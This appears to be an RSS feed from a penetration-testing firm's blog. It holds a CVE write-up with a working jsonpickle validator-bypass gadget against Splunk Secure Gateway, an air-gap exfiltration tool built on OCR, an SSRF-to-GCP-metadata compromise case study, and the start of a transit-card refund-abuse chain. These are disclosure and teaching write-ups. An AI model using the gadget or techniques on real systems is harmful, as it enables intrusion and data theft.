<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[ReactiveZero CyberSecurity Blog]]></title><description><![CDATA[ReactiveZero CyberSecurity Blog]]></description><link>https://blog.reactivezero.com</link><generator>RSS for Node</generator><lastBuildDate>Thu, 08 Oct 2026 01:28:02 GMT</lastBuildDate><atom:link href="https://blog.reactivezero.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[CVE-2026-20251: How a Validator Short-Circuit Turns Splunk's KV Store into an RCE Gateway]]></title><description><![CDATA[A deep dive into the jsonpickle deserialization chain in Splunk Secure Gateway 3.9.19 — and why safe=True isn't.

Tags: Security, CVE, Python, Splunk, Vulnerability Research

During a white-box vulner]]></description><link>https://blog.reactivezero.com/cve-2026-20251-how-a-validator-short-circuit-turns-splunk-s-kv-store-into-an-rce-gateway</link><guid isPermaLink="true">https://blog.reactivezero.com/cve-2026-20251-how-a-validator-short-circuit-turns-splunk-s-kv-store-into-an-rce-gateway</guid><dc:creator><![CDATA[ReactiveZero]]></dc:creator><pubDate>Fri, 26 Jun 2026 21:26:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6846d8764c42dc03e0edbeef/b7ad47c6-e2a9-4fb7-9bcf-3306225b2bdb.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>A deep dive into the jsonpickle deserialization chain in Splunk Secure Gateway 3.9.19 — and why safe=True isn't.</p>
</blockquote>
<p><strong>Tags:</strong> <code>Security</code>, <code>CVE</code>, <code>Python</code>, <code>Splunk</code>, <code>Vulnerability Research</code></p>
<hr />
<p>During a white-box vulnerability verification engagement on a local Splunk Enterprise 10.0.6 research instance, I confirmed the reachability of <strong>CVE-2026-20251</strong> — an unsafe deserialization bug in the Splunk Secure Gateway (SSG) app that allows any low-privileged authenticated user to achieve remote code execution on the Splunk host.</p>
<p>CVSS score: <strong>8.8</strong> (<code>AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</code>)</p>
<p>The PoC and engagement report are on GitHub: <a href="https://github.com/reactivezero/CVE-2026-20251">reactivezero/CVE-2026-20251</a></p>
<hr />
<h2>Background</h2>
<p>Splunk Secure Gateway is a companion app that lets mobile clients interact with Splunk alerts. It reads alert documents from the App Key Value Store (<code>mobile_alerts</code> collection) and reconstructs them into Python objects using <a href="https://github.com/jsonpickle/jsonpickle">jsonpickle</a>.</p>
<p>The problem is that jsonpickle is a serialization library designed for trusted data. When it encounters tags like <code>py/reduce</code>, <code>py/function</code>, or <code>py/object</code> in a JSON document, it doesn't just parse data — it <strong>instantiates classes and calls functions</strong>. Feeding it attacker-controlled input is essentially the Python equivalent of calling <code>pickle.loads()</code> on untrusted bytes.</p>
<hr />
<h2>The Vulnerable Sink</h2>
<p>In <code>bin/spacebridgeapp/request/alerts_request_processor.py</code>, SSG reads an alert document from the KV Store and decodes it:</p>
<pre><code class="language-python">alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
    raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True)
</code></pre>
<p>Two defences are supposed to stand between the attacker and that <code>jsonpickle.decode()</code> call:</p>
<ol>
<li><p>A validator — <code>check_alert_data_valid_json()</code></p>
</li>
<li><p>The <code>safe=True</code> flag on <code>decode()</code></p>
</li>
</ol>
<p>Both fail.</p>
<hr />
<h2>Why <code>safe=True</code> Doesn't Help</h2>
<p>The <code>safe=True</code> parameter in jsonpickle <strong>only gates the</strong> <code>py/repr</code> <strong>tag</strong> — the legacy path that called <code>eval()</code> on a Python repr string. It has no effect on:</p>
<ul>
<li><p><code>py/reduce</code> → calls <code>_restore_reduce()</code> → executes <code>stage1 = f(*args)</code></p>
</li>
<li><p><code>py/object</code> → instantiates arbitrary classes via <code>loadclass()</code></p>
</li>
<li><p><code>py/function</code>, <code>py/type</code>, <code>py/module</code></p>
</li>
</ul>
<p>With no <code>classes=</code> allowlist passed to <code>decode()</code>, any importable Python class or callable is fair game. The flag is a narrow guard on one old code path — not a general safety switch.</p>
<hr />
<h2>The Validator Short-Circuit</h2>
<p><code>check_alert_data_valid_json()</code> (in <code>alert_helper.py</code>) is supposed to reject dangerous jsonpickle tags. The logic iterates over the top-level keys of the document:</p>
<pre><code class="language-python">for key, value in data.items():
    if key.startswith("py"):
        if key == "py/id":
            return value.isinstance(int)
        elif key == "py/object":
            return value.startswith("spacebridgeapp")  # returns immediately
        else:
            return False
    # ... recurse into nested values
</code></pre>
<p>The bug: <strong>the function returns on the very first</strong> <code>py</code><strong>-prefixed key it encounters</strong>. If that key is a permitted <code>py/object</code> whose value starts with <code>spacebridgeapp</code>, the function returns <code>True</code> without ever looking at the remaining keys in the document.</p>
<p>Python dicts preserve insertion order (since 3.7), and the attacker controls the JSON document they write to the KV Store. So the bypass is trivial:</p>
<pre><code class="language-json">{
  "py/object": "spacebridgeapp.data.alert_data.Alert",
  "notification": {
    "py/reduce": [
      {"py/function": "subprocess.check_output"},
      {"py/tuple": [["id"]]}
    ]
  }
}
</code></pre>
<p>The validator sees <code>py/object</code> first — value starts with <code>spacebridgeapp</code> — returns <code>True</code>. The <code>notification</code> sibling carrying the <code>py/reduce</code> gadget is never examined.</p>
<hr />
<h2>The Full Attack Chain</h2>
<pre><code class="language-plaintext">Step 0  Low-privilege attacker authenticates to Splunk (no admin role needed)
        and writes the bypass document to the 'mobile_alerts' KV Store
        collection via the Splunk REST API.

Step 1  SSG processes an alert fetch for that alert_id.
        check_alert_data_valid_json() short-circuits on the
        "py/object": "spacebridgeapp..." lure key and returns True.

Step 2  The document reaches jsonpickle.decode(..., safe=True).
        jsonpickle loads Alert (importable within Splunk), instantiates it,
        then iterates its stored attributes via
        _restore_object_instance_variables(). When it hits the
        "notification" value, _restore_tags() routes to _restore_reduce():

            stage1 = f(*args)     # jsonpickle/unpickler.py ~line 526

        The attacker-specified callable fires with attacker-specified args.

Outcome  Code execution as the Splunk service account.
         Requires only a valid low-privilege Splunk login.
</code></pre>
<hr />
<h2>Proof of Concept</h2>
<p>The PoC (<code>poc_cve_2026_20251.py</code>) demonstrates both conditions separately, using a deliberately benign payload (<code>subprocess.check_output(['uname', '-a'])</code>):</p>
<p><strong>Sub-proof A — validator bypass:</strong> Feeds the bypass document to the verbatim shipped <code>check_alert_data_valid_json()</code> function and confirms it returns <code>True</code>.</p>
<p><strong>Sub-proof B —</strong> <code>py/reduce</code> <strong>execution:</strong> Feeds the raw gadget document directly to <code>jsonpickle.decode(..., safe=True)</code> and confirms the callable fires — proving <code>safe=True</code> has no effect on this code path.</p>
<p>Together they confirm the full chain without running a weaponised exploit against Splunk.</p>
<pre><code class="language-plaintext">$ python3 poc_cve_2026_20251.py -h 127.0.0.1

======================================================================
CVE-2026-20251  PoC  --  local research instance only
======================================================================
[*] Target host : 127.0.0.1
[*] jsonpickle  : 3.0.2

----------------------------------------------------------------------
SUB-PROOF A  --  Validator bypass
----------------------------------------------------------------------
[*] Running through check_alert_data_valid_json() ...
    Validator returned : True
    [BYPASS CONFIRMED]

----------------------------------------------------------------------
SUB-PROOF B  --  py/reduce gadget execution (benign: uname -a)
----------------------------------------------------------------------
    [EXEC] subprocess.check_output output: Darwin Macbook.local 25.3.0 ...
    [GADGET CONFIRMED]
    py/reduce fired through jsonpickle.decode(..., safe=True).
</code></pre>
<hr />
<h2>A Note on CVE-2026-20253</h2>
<p>The same advisory batch includes CVE-2026-20253 (CVSS 9.8) — unauthenticated arbitrary file creation via a PostgreSQL sidecar endpoint. That one was <strong>not present</strong> on the test instance: the macOS x86_64 build of Splunk Enterprise 10.0.6 simply doesn't ship the PostgreSQL sidecar component. No binaries, no process, no listening port.</p>
<p>This matters: <strong>an affected version string is a necessary but not sufficient condition for exploitability</strong>. Always verify at the component level before assigning real risk.</p>
<hr />
<h2>Remediation</h2>
<p><strong>Patch:</strong> Upgrade Splunk Secure Gateway to <code>3.9.20+</code>, <code>3.10.6+</code>, or <code>3.8.67+</code>. Upgrade Splunk Enterprise to <code>10.0.7+</code> / <code>10.2.4+</code> / <code>10.4.0+</code>.</p>
<p><strong>Short-term workarounds</strong> (if patching is delayed):</p>
<ul>
<li><p>Disable the Splunk Secure Gateway app if it is not actively used</p>
</li>
<li><p>Restrict KV Store write access — enforce least-privilege roles and review ACLs on the <code>mobile_alerts</code> collection</p>
</li>
</ul>
<p><strong>Defensive engineering pattern:</strong> Never pass externally-influenced stored data into <code>jsonpickle.decode()</code> (or any deserialization primitive that reconstructs arbitrary types). Replace it with a strict schema-validated parser, or at minimum supply an explicit <code>classes=</code> allowlist to <code>decode()</code>. And make sure validation routines <strong>fully traverse nested structures</strong> — a short-circuit on the first recognised key is exactly the kind of logic error that turns a validator into a rubber stamp.</p>
<hr />
<p><em>Fady Oueslati · ReactiveZero Security Research · June 2026</em> <em>GitHub:</em> <a href="https://github.com/reactivezero/CVE-2026-20251"><em>reactivezero/CVE-2026-20251</em></a></p>
]]></content:encoded></item><item><title><![CDATA[Breaking Through Air Gaps: How We Built an OCR-Based Data Exfiltration Tool]]></title><description><![CDATA[When traditional file transfer methods are locked down, sometimes the answer is literally staring you in the face.
The Problem: Extracting Data from Fortress Environments
Picture this: You're working in a highly secured environment. The network is co...]]></description><link>https://blog.reactivezero.com/breaking-through-air-gaps-how-we-built-an-ocr-based-data-exfiltration-tool</link><guid isPermaLink="true">https://blog.reactivezero.com/breaking-through-air-gaps-how-we-built-an-ocr-based-data-exfiltration-tool</guid><category><![CDATA[exfil]]></category><category><![CDATA[dataexfil]]></category><category><![CDATA[redteaming]]></category><category><![CDATA[hacking]]></category><category><![CDATA[airgap]]></category><category><![CDATA[OCR ]]></category><dc:creator><![CDATA[ReactiveZero]]></dc:creator><pubDate>Fri, 06 Feb 2026 11:58:47 GMT</pubDate><content:encoded><![CDATA[<p><em>When traditional file transfer methods are locked down, sometimes the answer is literally staring you in the face.</em></p>
<p><strong>The Problem: Extracting Data from Fortress Environments</strong></p>
<p>Picture this: You're working in a highly secured environment. The network is completely isolated (air-gapped). USB ports are disabled or monitored. Cloud storage is blocked. File transfers are logged and scrutinized. Every digital pathway out is locked down tight.</p>
<p>But you need to extract a file—maybe for legitimate security research, forensic analysis, or red team assessment. How do you do it?</p>
<p>The answer might surprise you: <strong>Take a picture of it.</strong></p>
<p><strong>The Solution: Visual Data Transfer via OCR</strong></p>
<p>I built a tool that bridges the physical and digital worlds by using your smartphone camera to capture hex dumps displayed on a screen and automatically reconstruct the original binary files.</p>
<p><strong>The Workflow is Beautifully Simple:</strong></p>
<p><strong>Step 1: Generate the hex dump</strong> with a one-liner command:</p>
<p><strong>Step 2: Display it rapidly</strong> line by line on screen (I built a Python script that displays 4-20 lines per second)</p>
<p><strong>Step 3: Point your iPhone camera</strong> at the terminal</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770379003879/688c8c7e-d24c-48cd-9ba4-a22e972a59ec.jpeg" alt class="image--center mx-auto" /></p>
<p><strong>Step 4: Watch the magic happen</strong> as the app captures, processes, and reconstructs your file in real-time</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770379026054/27e7a6c8-a107-48b1-8d72-30413290329b.png" alt class="image--center mx-auto" /></p>
<p><strong>Step 5: Export the reconstructed binary</strong> with byte-perfect accuracy</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770379038413/233f551b-b72b-4df1-9808-5419dca42964.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770379049424/17da7252-b5dd-49a6-9ce1-8e78f29ffdd3.png" alt class="image--center mx-auto" /></p>
<p><strong>The Technical Challenge</strong></p>
<p>Building this wasn't straightforward. Here are the core challenges I had to solve:</p>
<p><strong>1. OCR Accuracy on Hex Data</strong></p>
<p>Hex dumps contain characters that look similar: 0 vs O, 1 vs I, 8 vs B, S vs 5. I implemented:</p>
<p>• <strong>Vision framework integration</strong> for iOS text recognition</p>
<p>• <strong>Confidence scoring</strong> for each captured line</p>
<p>• <strong>Pattern validation</strong> to reject malformed hex data</p>
<p>• <strong>Smart normalization</strong> to handle various hex dump formats</p>
<p><strong>2. Out-of-Order Capture</strong></p>
<p>Users don't always capture lines sequentially. The tool handles:</p>
<p>• <strong>Offset-based reassembly</strong> - lines are sorted by their memory address</p>
<p>• <strong>Deduplication</strong> - if you capture the same line twice, it keeps the highest-confidence version</p>
<p>• <strong>Gap detection</strong> - identifies missing byte ranges</p>
<p>• <strong>Real-time progress tracking</strong> - visual indicators show completeness percentage</p>
<p><strong>3. File Type Detection</strong></p>
<p>Once bytes are captured, what kind of file is it? I built a comprehensive signature detection system:</p>
<p>• <strong>100+ file type signatures</strong> including images (PNG, JPEG, GIF), documents (PDF, RTF), archives (ZIP, TAR, RAR), executables (ELF, PE, Mach-O), databases, certificates, ROMs, 3D models, and more</p>
<p>• <strong>Magic number analysis</strong> - examines the first bytes to identify file types</p>
<p>• <strong>Automatic extension assignment</strong> based on detected type</p>
<p>• <strong>Category classification</strong> with color-coded visual feedback</p>
<p><strong>4. Data Integrity</strong></p>
<p>How do you ensure the reconstructed file is correct?</p>
<p>• <strong>CRC32 checksums</strong> for verification</p>
<p>• <strong>Gap visualization</strong> showing exactly which bytes are missing</p>
<p>• <strong>Byte coverage tracking</strong> displays what percentage is complete</p>
<p>• <strong>Hex dump preview</strong> lets you inspect the captured data</p>
<p><strong>Key Features:</strong></p>
<p><strong>📷 OCR-Powered Capture</strong></p>
<p>Point your camera at any terminal or printout showing hex data. The app automatically extracts hex lines with high confidence scoring.</p>
<p><strong>🧩 Intelligent Assembly</strong></p>
<p>Reconstructs complete binary files from multiple captures, handling:</p>
<p>• Out-of-order lines</p>
<p>• Duplicate detection</p>
<p>• Gap filling</p>
<p>• Multiple files simultaneously</p>
<p><strong>🔍 Smart File Detection</strong></p>
<p>Recognizes file types through magic number analysis:</p>
<p>• <strong>Images</strong>: PNG, JPEG, GIF, BMP, WebP, TIFF, RAW formats</p>
<p>• <strong>Documents</strong>: PDF, RTF, XML, Office formats</p>
<p>• <strong>Archives</strong>: ZIP, TAR, GZIP, 7Z, RAR, LZ4</p>
<p>• <strong>Media</strong>: MP3, MP4, FLAC, MKV, AVI</p>
<p>• <strong>Executables</strong>: ELF, PE, Mach-O, Java Class, WebAssembly</p>
<p>• <strong>Databases</strong>: SQLite, Access, MySQL dumps</p>
<p>• <strong>Specialized</strong>: Certificates (DER, PEM), ROMs (NES, GB), 3D models (STL, OBJ), fonts (TTF, OTF)</p>
<p><strong>📊 Real-Time Progress</strong></p>
<p>• Live file assembly as you capture</p>
<p>• Completeness percentage with circular progress rings</p>
<p>• Gap detection showing missing byte ranges</p>
<p>• Direction detection (scrolling up/down)</p>
<p><strong>💾 Flexible Export</strong></p>
<p>• Share as binary files (preserves exact bytes)</p>
<p>• Export as hex dump text</p>
<p>• View decoded text content</p>
<p>• Copy to clipboard</p>
<p><strong>⚡ High-Speed Capture</strong></p>
<p>The Python display script I built can show hex lines at 4-20 lines per second, making it possible to transfer a 1MB file in under a minute.</p>
<p><strong>Technical Stack</strong></p>
<p>• <strong>Platform</strong>: iOS (iPhone/iPad)</p>
<p>• <strong>Language</strong>: Swift with SwiftUI</p>
<p>• <strong>OCR Engine</strong>: Vision framework</p>
<p>• <strong>Architecture</strong>: MVVM with Observation framework</p>
<p>• <strong>File Detection</strong>: Custom signature matching engine</p>
<p>• <strong>Display Tool</strong>: Python 3 with argument parsing</p>
<p><strong>Real-World Use Cases</strong></p>
<ul>
<li><strong>Security Research:</strong></li>
</ul>
<p>Analyze malware samples from isolated analysis environments without network transfer risks.</p>
<ul>
<li><strong>Forensic Investigation</strong></li>
</ul>
<p>Extract data from screenshots or photographs of hex dumps found during investigations.</p>
<ul>
<li><strong>Red Team Operations</strong></li>
</ul>
<p>Exfiltrate data from restricted environments where all traditional transfer methods are monitored or blocked.</p>
<ul>
<li><strong>Legacy System Recovery</strong></li>
</ul>
<p>Retrieve data from systems with no modern connectivity options—if you can display it, you can capture it.</p>
<ul>
<li><strong>Penetration Testing</strong></li>
</ul>
<p>Demonstrate data exfiltration vectors in security assessments of highly controlled environments.</p>
]]></content:encoded></item><item><title><![CDATA[Chaining Misconfigurations to Full Cloud Compromise: A Case Study in GCP Exploitation]]></title><description><![CDATA[Executive Summary
During a routine security monitoring exercise, our research team identified a chain of vulnerabilities in a major SaaS integration platform that culminated in complete compromise of its Google Cloud Platform (GCP) environment.
The w...]]></description><link>https://blog.reactivezero.com/chaining-misconfigurations-to-full-cloud-compromise-a-case-study-in-gcp-exploitation</link><guid isPermaLink="true">https://blog.reactivezero.com/chaining-misconfigurations-to-full-cloud-compromise-a-case-study-in-gcp-exploitation</guid><category><![CDATA[hacking]]></category><category><![CDATA[Google]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[AI]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[research]]></category><category><![CDATA[threat intelligence]]></category><dc:creator><![CDATA[ReactiveZero]]></dc:creator><pubDate>Thu, 14 Aug 2025 10:34:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1756814243635/f68caac7-8f3b-4740-8ae4-965a254d6c5d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-executive-summary">Executive Summary</h2>
<p>During a routine security monitoring exercise, our research team identified a chain of vulnerabilities in a major SaaS integration platform that culminated in complete compromise of its Google Cloud Platform (GCP) environment.</p>
<p>The weaknesses, discovered in a publicly accessible API endpoint, allowed us to:</p>
<ul>
<li><p><strong>Smuggle arbitrary HTTP methods</strong> through the backend</p>
</li>
<li><p><strong>Perform Server-Side Request Forgery (SSRF)</strong> to internal GCP resources</p>
</li>
<li><p><strong>Extract valid service account access tokens</strong></p>
</li>
<li><p><strong>Access sensitive Google Cloud Storage buckets</strong> containing cleartext credentials, database dumps, source code, and build artifacts</p>
</li>
</ul>
<p>This case study demonstrates how <strong>seemingly minor flaws</strong> — when combined — can escalate into a full breach of a cloud perimeter.</p>
<hr />
<h2 id="heading-discovery-context">Discovery Context</h2>
<p>Our team at ReactiveZero continuously monitors exposed internet-facing assets for security risks, following a methodology that prioritizes <strong>manual testing over automated scanning</strong>. This ensures that subtle, high-impact vulnerabilities are not overlooked.</p>
<p>In this instance, the issues were found in an API endpoint used for <strong>testing HTTP client configurations</strong>. While its purpose appeared benign, its lack of input sanitization and access control provided the perfect starting point for deeper exploitation.</p>
<hr />
<h2 id="heading-vulnerability-chain">Vulnerability Chain</h2>
<h3 id="heading-1-http-method-smuggling">1. HTTP Method Smuggling</h3>
<p><strong>Vulnerable Endpoint:</strong></p>
<pre><code class="lang-plaintext">POST /api/v1/di/configurations/http-client/test
</code></pre>
<p><strong>Issue:</strong><br />The endpoint accepted a JSON payload that included a <code>method</code> parameter — intended to specify the HTTP method used in outbound requests. The backend <strong>directly trusted</strong> this value without sanitization or whitelisting.</p>
<p>By supplying non-standard methods such as <code>PUT</code>, <code>TRACE</code>, or even arbitrary strings, we confirmed that the backend executed outbound requests with those methods intact.</p>
<p><strong>Security Implications:</strong></p>
<ul>
<li><p>Allows bypass of application-level filtering that only expects <code>GET</code> or <code>POST</code></p>
</li>
<li><p>Facilitates backend method smuggling for services with method-based access control</p>
</li>
<li><p>Serves as a foundation for SSRF attacks, enabling more complex payload delivery</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755167198005/6decb313-54a9-460c-9b46-5dd59771b508.png" alt class="image--center mx-auto" /></p>
<hr />
<h3 id="heading-2-ssrf-to-gcp-metadata-service">2. SSRF to GCP Metadata Service</h3>
<p>Leveraging method smuggling was only the first step. By manipulating the <code>uri</code> parameter in the same endpoint, we achieved <strong>Server-Side Request Forgery (SSRF)</strong>.</p>
<p><strong>Targeted Internal Resource:</strong></p>
<pre><code class="lang-plaintext">http://169.254.169.254/computeMetadata/v1/
</code></pre>
<p>This is the <strong>GCP metadata service</strong>, accessible only from within GCP virtual machines. With SSRF, we bypassed the cloud provider’s perimeter protections and interacted with this service directly.</p>
<p><strong>What We Retrieved:</strong></p>
<ul>
<li><p><strong>Project ID</strong> of the environment</p>
</li>
<li><p><strong>Active service account identity</strong>:<br />  <code>572120218656-compute@developer.gserviceaccount.com</code></p>
</li>
<li><p><strong>Host and disk metadata</strong></p>
</li>
<li><p><strong>Scheduling configurations</strong></p>
</li>
<li><p><strong>Cryptographic identity materials</strong> (<code>mds-client-certificate</code>), including:</p>
<ul>
<li><p><code>encrypted_credentials</code></p>
</li>
<li><p><code>key_import_blob</code> (with <code>encrypted_seed</code>)</p>
</li>
<li><p><code>public_area</code> data</p>
</li>
</ul>
</li>
</ul>
<p><strong>Why this is serious:</strong><br />Even without immediate decryption, access to such materials threatens the trust model of <strong>confidential compute workloads</strong> and <strong>mTLS-based identity federation</strong> in zero-trust architectures.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755167218112/f354e505-1006-4fce-a785-24eb83c6aed8.png" alt class="image--center mx-auto" /></p>
<hr />
<h3 id="heading-3-access-token-extraction-and-abuse">3. Access Token Extraction and Abuse</h3>
<p>From the metadata service, we extracted a <strong>valid OAuth2 access token</strong> bound to the instance’s service account.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755167241080/de51cf2f-85b7-431e-a306-9bb95042a85c.png" alt class="image--center mx-auto" /></p>
<p><strong>With this token, we:</strong></p>
<ul>
<li><p>Authenticated to the <strong>Google Cloud Storage API</strong></p>
</li>
<li><p>Enumerated <strong>all accessible buckets</strong></p>
</li>
<li><p>Inferred <strong>production, staging, and development environment separation</strong></p>
</li>
<li><p>Identified <strong>buckets belonging to third-party clients</strong></p>
</li>
</ul>
<p><strong>Example bucket names (redacted where necessary):</strong></p>
<ul>
<li><p><code>acc-******</code> (client environment)</p>
</li>
<li><p><code>dev-******</code> (development data)</p>
</li>
<li><p><code>default-webserver</code></p>
</li>
<li><p><code>gcf-sources-*</code> (cloud function source code)</p>
</li>
<li><p><code>stamped-io-build-storage</code> (build artifacts)</p>
</li>
<li><p><code>staging.******.appspot.com</code> (staging data)</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755167268207/add825ce-6c6e-44dd-b620-2d872d85af7b.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<hr />
<h3 id="heading-4-unauthorized-gcs-bucket-access">4. Unauthorized GCS Bucket Access</h3>
<p>Bucket enumeration was only the beginning. The obtained token allowed <strong>object listing and downloading</strong> from multiple buckets — with no additional authentication challenge.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755167363853/fa6b0da8-fdd2-430b-ae74-cc687d4b9e2a.png" alt class="image--center mx-auto" /></p>
<p><strong>High-Risk Example:</strong></p>
<ul>
<li><p><code>stamped-io-build-storage/fixtures/db.sql</code> — a <strong>15MB SQL database dump</strong> containing:</p>
<ul>
<li><p>User account tables</p>
</li>
<li><p><strong>Cleartext administrator passwords</strong></p>
</li>
<li><p>Internal application data</p>
</li>
<li><p>Potentially <strong>GDPR-regulated personal information</strong></p>
</li>
</ul>
</li>
<li><p><strong>Other Exposed Assets:</strong></p>
</li>
<li><p><code>.tar.gz</code> archives of build artifacts</p>
</li>
<li><p>Function source code packages (<code>function-source.zip</code>)</p>
</li>
<li><p>Region and policy metadata revealing operational geography (e.g., <code>EUROPE-WEST4</code> )</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755167375395/e857e9c5-0931-402c-bc5b-703ce454bf73.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<hr />
<h2 id="heading-root-causes">Root Causes</h2>
<p>Our analysis identified three primary causes enabling this chain of exploitation:</p>
<ol>
<li><p><strong>No HTTP method validation</strong> in the configuration testing endpoint</p>
</li>
<li><p><strong>Lack of SSRF protection</strong>, allowing direct interaction with internal cloud services</p>
</li>
<li><p><strong>Overly broad service account permissions</strong> and <strong>absence of bucket-level IAM restrictions</strong></p>
</li>
</ol>
<hr />
<h2 id="heading-potential-impact">Potential Impact</h2>
<p>An attacker exploiting these flaws could:</p>
<ul>
<li><p><strong>Exfiltrate sensitive databases</strong>, including customer PII and authentication credentials</p>
</li>
<li><p><strong>Steal proprietary code</strong> and build pipelines</p>
</li>
<li><p><strong>Compromise third-party client environments</strong></p>
</li>
<li><p><strong>Perform privilege escalation</strong> within GCP</p>
</li>
<li><p><strong>Bypass network perimeter protections</strong></p>
</li>
</ul>
<p>The GDPR implications alone — given the exposure of personal data — could result in significant regulatory fines.</p>
<hr />
<h2 id="heading-recommended-mitigations">Recommended Mitigations</h2>
<p>We recommend the affected organization:</p>
<ol>
<li><p><strong>Implement strict input validation</strong> for HTTP methods, enforcing an allowlist (<code>GET</code>, <code>POST</code>)</p>
</li>
<li><p><strong>Deploy SSRF protection</strong> using request sanitization and metadata service access restrictions (GCP’s <code>--no-allow-metadata-server-access</code>)</p>
</li>
<li><p><strong>Reduce service account scopes</strong> to follow the principle of least privilege</p>
</li>
<li><p><strong>Apply bucket-level IAM deny-by-default policies</strong> for sensitive assets</p>
</li>
<li><p><strong>Rotate and revoke exposed credentials</strong> immediately</p>
</li>
</ol>
<hr />
<h2 id="heading-conclusion">Conclusion</h2>
<p>This incident reinforces a critical truth in cloud security: <strong>minor misconfigurations can combine into devastating exploits</strong> when left unchecked. A harmless-looking “HTTP client test” feature became the entry point for complete cloud compromise.</p>
<p>ReactiveZero disclosed all findings under responsible disclosure guidelines. The affected organization has acknowledged the report and is in the process of remediation.</p>
<hr />
<p><strong>About ReactiveZero</strong><br />ReactiveZero specializes in precision penetration testing, delivering in-depth manual assessments of cloud, application, and network security. We help organizations uncover vulnerabilities before adversaries do.</p>
<p>📧 info@reactivezero.com<br />📞 +31 6 2908 4840</p>
]]></content:encoded></item><item><title><![CDATA[How We Discovered a Critical Vulnerability Chain in the Dutch OV-Chipkaart System]]></title><description><![CDATA[⚠️ Disclaimer
All vulnerabilities discussed in this post have been responsibly disclosed and remediated by the OV-chipkaart team. The attack chain outlined here is no longer valid and cannot be exploited. This blog post is for educational purposes an...]]></description><link>https://blog.reactivezero.com/how-we-discovered-a-critical-vulnerability-chain-in-the-dutch-ov-chipkaart-system</link><guid isPermaLink="true">https://blog.reactivezero.com/how-we-discovered-a-critical-vulnerability-chain-in-the-dutch-ov-chipkaart-system</guid><dc:creator><![CDATA[ReactiveZero]]></dc:creator><pubDate>Mon, 09 Jun 2025 13:53:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1749476943476/284897d5-dafa-4a17-bcbd-63575ae82c3d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-disclaimer">⚠️ Disclaimer</h3>
<p><em>All vulnerabilities discussed in this post have been responsibly disclosed and remediated by the OV-chipkaart team. The attack chain outlined here is no longer valid and cannot be exploited. This blog post is for educational purposes and to promote better security practices in public systems.</em></p>
<hr />
<h2 id="heading-introduction">🔍 Introduction</h2>
<p>In October 2022, we conducted a deep-dive investigation into the Dutch public transportation card system — the OV-chipkaart — and uncovered a chain of vulnerabilities that, when combined, could have led to <strong>massive financial abuse</strong> of the refund system for anonymous cards. By exploiting missing rate limits, weak client-side validations, and misconfigured email services, we demonstrated how an attacker could systematically withdraw up to <strong>€50 per card</strong>, potentially resulting in <strong>hundreds of thousands of euros in unauthorized refunds</strong>.</p>
<p>This post outlines the vulnerabilities we discovered, how they were chained together, and the potential real-world consequences had they not been addressed.</p>
<hr />
<h2 id="heading-the-vulnerability-chain">🧩 The Vulnerability Chain</h2>
<h3 id="heading-1-client-side-ov-chipkaart-number-validation">1. <strong>Client-Side OV-chipkaart Number Validation</strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749477012815/834f1485-9b8c-45bb-8e2c-6fae0528751a.png" alt class="image--center mx-auto" /></p>
<p>The OV-chipkaart site performed chipkaart number validation <strong>entirely client-side</strong>, using JavaScript. This allowed me to script requests to check for valid OV card numbers without server-side enforcement or throttling.</p>
<p>Using a custom script (<a target="_blank" href="http://chipkaart-checker.py"><code>chipkaart-checker.py</code></a>), we was able to verify active OV-chipkaart numbers at scale through:</p>
<ul>
<li><a target="_blank" href="https://www.ov-chipkaart.nl/kopie-van-saldo-terugvragen/saldochecker.htm#/">https://www.ov-chipkaart.nl/kopie-van-saldo-terugvragen/saldochecker.htm#/</a></li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749477024424/206dff1f-a36b-49b6-b333-e0e249343f4c.png" alt class="image--center mx-auto" /></p>
<p>This essentially allowed enumeration of all active cards within a known numeric range.</p>
<hr />
<h3 id="heading-2-no-captcha-or-request-limiting-on-expiration-checks">2. <strong>No CAPTCHA or Request Limiting on Expiration Checks</strong></h3>
<p>The expiration date of each card could be guessed using brute force techniques on multiple endpoints, including:</p>
<ul>
<li><p><a target="_blank" href="https://www.uitcheckgemist.nl/?locale=nl"><code>https://www.uitcheckgemist.nl/?locale=nl</code></a></p>
</li>
<li><p><a target="_blank" href="https://www.ov-chipkaart.nl/kopie-van-saldo-terugvragen.htm#/"><code>https://www.ov-chipkaart.nl/kopie-van-saldo-terugvragen.htm#/</code></a></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749477049259/24c20d29-5a40-4352-b2c1-0f82cc2e8fb9.png" alt class="image--center mx-auto" /></p>
